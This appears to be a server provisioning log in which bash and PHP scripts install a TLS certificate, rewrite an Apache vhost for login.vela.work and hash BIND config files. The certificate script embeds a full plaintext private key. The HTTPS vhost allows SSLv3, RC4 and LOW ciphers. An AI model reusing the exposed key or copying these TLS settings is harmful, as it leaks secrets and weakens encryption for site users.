MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:24:53: Establishing a connection
2026-06-19 11:24:53: 

PUT: /tmp/pkp763647

#!/bin/bash
temp_file=$(mktemp)
TARGET=58d509bc8051d01cd9d10836cb4779a8.crt

cat > $temp_file <<'endmsg'
58:d5:09:bc:80:51:d0:1c:d9:d1:08:36:cb:47:79:a8

-----BEGIN CERTIFICATE-----
MIIDWTCCAkGgAwIBAgIUaoouEISvMhcjDd1ua4aXmQAtvwowDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDYxOTExMjQ1MloXDTI3MDYxOTExMjQ1Mlow
GjEYMBYGA1UEAwwPbG9naW4udmVsYS53b3JrMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAz5AUj4pi6QC5cvYsYAyAMZivutkPk0GSVQHOQYVFOpsH/Q7E
PyhIFo1yVFDh5GDSe312DuXN7qFdz2Tn+Y6g3io6/AscLZzS6TuzzV+wTcJEhB5e
j6XlRFPMPgUxmezAvb4GNcjC1+9fIfbZ+/z545r07mypuGXMBbJ5J2iXlHGMdAvg
RoJnXelqF25mZwlhyqRDltKEqo1etJ1E9aLWSP2k6+H4eaiMJyGV2Vkk6z34KC9R
CQm4DpleWE2GZbNb2MW+fXUy665Q2DQS48T2xWA31DhEuk973JUFoYTykRN5oi02
a43FrNFCR+MOYh/RMtZ3m7KD+a0OHYkFVPkRrQIDAQABo3YwdDAdBgNVHQ4EFgQU
6GMG0+jZu4V98nMM/TNZUGJf/rIwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziC
V0swc/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwGgYDVR0RBBMwEYIPbG9naW4u
dmVsYS53b3JrMA0GCSqGSIb3DQEBCwUAA4IBAQBOFrrXtM0zLRn32/Sd6LeFMwtb
CvzcfS8aa6A0mj3YmHNRPrndHzYthSrFBHK92E3Kgjt1aH/TKccku7IYF8uGstEs
CVISHVeAQFS6ElyuOQWRkU9nON4sfXMScuiGFG5/2u7PpcNb0aFfG8IWRa6axabS
KpfhXLteKAO5bYpHL3O1TwS+L0Af88KOK2M1BQVb0AtpGMvT2OtRlzuyskKtaycA
MsZKBC94M1nP58k1KIQK9caxcKvYWVnApQKGjXpCOEUAX5OTgZ5DRCfEkSoCC2TX
NIDc9A5QNrTcuJmztp5ZsN6jRI/lup5kMv7jV+BsxEpmLxzhkUjuCN+CH3VL
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDPkBSPimLpALly
9ixgDIAxmK+62Q+TQZJVAc5BhUU6mwf9DsQ/KEgWjXJUUOHkYNJ7fXYO5c3uoV3P
ZOf5jqDeKjr8CxwtnNLpO7PNX7BNwkSEHl6PpeVEU8w+BTGZ7MC9vgY1yMLX718h
9tn7/PnjmvTubKm4ZcwFsnknaJeUcYx0C+BGgmdd6WoXbmZnCWHKpEOW0oSqjV60
nUT1otZI/aTr4fh5qIwnIZXZWSTrPfgoL1EJCbgOmV5YTYZls1vYxb59dTLrrlDY
NBLjxPbFYDfUOES6T3vclQWhhPKRE3miLTZrjcWs0UJH4w5iH9Ey1nebsoP5rQ4d
iQVU+RGtAgMBAAECggEAJasCqDgXkiyA+0WEsRujqhyJC7I3uuQj/8xXl5ltgmC/
NuQWplWTm5Ao5vdUv2L439NZeQOodz2OrkQkOyxwslDcqoADqZ1zw0MD8uoCL2Jp
l8aBJ7WWIWvJvZmoskP+iJCzRNB9171HuPy4+5uh5/XnrFtJA79posEMbqPzGkub
BBB3TDmEfJbDgaihEZMGLICmCRtIrsKt5hQV/SchQOI0m4gS5HhuuohEkcH5v1KQ
iADjZDykOG9AFFR74NVHjLM6vuaSkfsSdLKmiDSZ31M4LbGGkiUwJIPHUOfCqjH/
oL/GMmWuYlgulCgjqqIIV97uFSu3FptPowal4mRkOwKBgQD9cUbK+LCZlREqz3Yl
7sPgL62uxadmEtcQxMeYV01iJdCcDefzbHXIsMSiZIEw+4zThXQPIGWS2aq+Y2sT
TRVofE71etnxmlWxlkBcbOTohLPC80sW23n93oAvw/3FcXSPZQuBf+HUTM5VIiKQ
ifkDKdEFnXofOLuv8F+HpevKkwKBgQDRqEgl5SlLu2h62fox5LhSmHWeBiTOf+B6
XkxLKWvy2d1lCkJVHEemDNGGVo7NXnXbfpKA2qON6Q8zn2u0ulY+p2JhmrZYHGSn
1Es50eNbpSL6+i5RJSuE0nbGX+ZCNSRAX7vzkwa0fipnWEEPdiha50wnYG32TiUT
LaPm5N4avwKBgQD3xu83MLs2643FFN6lZzEI1JQw8fwexvyL4FZikbeN5Pp2FwJV
8guVEXysZyYHBWdAxJAa2cl0MGnFiNz+GbZ8WEu5o0m/8uskm4iA09VXnaVBSyp2
RkyV7hnUmQBZL/qM1nTRPn1CWXS/toekV7+jYBaCLttd+tFDyPUcYRKNEQKBgC2/
+AZ07D7/ZTwxprwOef5kEH5sPsnk87ogK6vXHRxAWGR9CZ6C7kuYznvvFXhRHYzJ
IPUHQNttuQh9yEYGx10ir4A2/4VYpMpOtB+o4mEUNv7nawYAA3AXcR22vYtDB2cY
vO3Y7oSiZ2RnyMKz+PhlMqQBEd3GjaaStgpjdOgHAoGAN3tMfjJ7oitFWR5qvkZz
ysSxNpSMzBATi+ul/bMlXH94VVzfzj7n0huKM0ARGTKX4bvaxqqMB6Ag5XFQ34kS
z5WTmZ2O1fuL9IRMXLCdOyCor6nvAGgteZOzov6VmaV16KIHol9v0guWaEE8Yl/B
09c1ku2PeSHgVh2b4SP2spo=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-19 11:24:53: 

chmod 755 /tmp/pkp763647; /tmp/pkp763647; rm /tmp/pkp763647

2026-06-19 11:24:53: 


dir=/etc/ssl/certs


2026-06-19 11:24:53: 

PUT: /tmp/pkp960934

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_login_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:24:53: 

chmod 755 /tmp/pkp960934; /tmp/pkp960934; rm /tmp/pkp960934

2026-06-19 11:24:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_login_work.conf 39

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-06-19 11:24:53: 

PUT: /tmp/pkp618434

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_login_work.conf
TARGET=/etc/apache2/sites-enabled/vela_login_work.conf
DOCROOT=/var/www/vela_login
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_login_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf= 1'
fi


2026-06-19 11:24:53: 

chmod 755 /tmp/pkp618434; /tmp/pkp618434; rm /tmp/pkp618434

2026-06-19 11:24:53: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf
file(/etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-06-19 11:24:53: 

PUT: /tmp/pkp671862

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-19 11:24:53: 

chmod 755 /tmp/pkp671862; /tmp/pkp671862; rm /tmp/pkp671862

2026-06-19 11:24:53: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-19 11:24:54: Establishing a connection
2026-06-19 11:24:54: 

PUT: /tmp/pkp268255

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:24:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp268255; rm /tmp/pkp268255'

2026-06-19 11:24:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
